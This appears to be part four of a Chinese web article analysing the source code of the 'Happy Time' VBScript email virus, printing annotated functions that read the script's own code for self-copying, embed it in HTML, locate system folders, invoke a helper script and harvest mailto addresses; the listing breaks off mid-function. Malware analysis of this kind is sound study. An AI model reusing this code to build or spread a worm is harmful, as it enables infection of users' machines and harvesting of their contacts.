欢乐时光病毒原码分析[4]

[入库:2005年8月18日] [更新:2007年3月25日]

本文简介:选择自 pingpingpangpang 的 blog

> errtest = document.location
> if er then
> ishtml = false
> else
> ishtml = true
> end if
> end function
> function ismail(s)                               -------------ismail函数
> dim m1, m2
> ismail = false
> if instr(s, vbcrlf) = 0 then
> m1 = instr(s, "@")
> m2 = instr(s, ".")
> if m1 <> 0 and m1 < m2 then
> ismail = true
> end if
> end if
> end function
> function lvbs()               -------------lvbs函数,读自身的函数,自我复制的关键步骤
> dim f, m, ws, of
> on error resume next
> if isvbs then
> set of = createobject("scripting.filesystemobject")
> set f = of.opentextfile(wscript.scriptfullname, 1)
> lvbs = f.readall                                --------------从vbs文件读入自己的全部
> else
> for each ws in document.scripts
> if lcase(ws.language) = "vbscript" then         --------------从html文件读入自己的全部
> if sc(ws.text) then
> lvbs = ws.text
> exit function
> end if
> end if
> next
> end if
> end function
> function iv(mpath, mname)                     ---------------iv函数,调用help.vbs
> dim shell
> on error resume next
> set shell = createobject("shell.application")
> shell.namespace(mpath).items.item(mname).invokeverb
> if er then
> iv = false
> else
> iv = true
> end if
> end function
> function grf()                               ---------grf函数,返回shell路径
> dim shell, mpath
> on error resume next
> set shell = createobject("shell.application")
> mpath = "c:\"
> for each mshell in shell.namespace(mpath).items
> if mshell.isfolder then
> grf = mshell.path
> exit function
> end if
> next
> if er then
> grf = ""
> end if
> end function
> function gsf()                            ---------------grf函数
> dim of, m
> on error resume next
> set of = createobject("scripting.filesystemobject")
> m = of.getspecialfolder(0)
> if er then
> gsf = "c:\"
> else
> gsf = m
> end if
> end function
> function lhtml()                          -------------------lhtml函数
> lhtml = "<" & "html" & "><head" & ">" & vbcrlf & _
> "<" & "title> help </title" & "><" & "/head>" & vbcrlf & _
> "<" & "body> " & lscript(lvbs()) & vbcrlf & _
> "<" & "/body></html" & ">"
> end function
> function lscript(s)                      -------------------lscript函数
> lscript = "<" & "script language='vbscript'>" & vbcrlf & _
> s & "<" & "/script" & ">"
> end function
> function sl(s1, s2, n)                   -------------------s1函数

> dim l1, l2, l3, i
> l1 = len(s1)
> l2 = len(s2)
> i = instr(s1, s2)
> if i > 0 then
> l3 = i + l2 - 1
> if n = 0 then
> sl = left(s1, i - 1)
> elseif n = 1 then
> sl = right(s1, l1 - l3)
> end if
> else
> sl = ""
> end if
> end function
> function ml(s)                              ---------------m1函数
> dim s1, s3, s2, t, adds, m
> s1 = s
> s3 = """"
> adds = ""
> s2 = s3 & "mailto" & ":"
> t = true
> do while t
> s1 = sl(s1, s2, 1)
> if s1 = "" then
> t = false
> else
> m = sl(s1, s3, 0)
> if ismail(m) then
> adds = adds & m & vbcrlf

本文关键:病毒 源代码 欢乐时光
  相关方案
Google
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top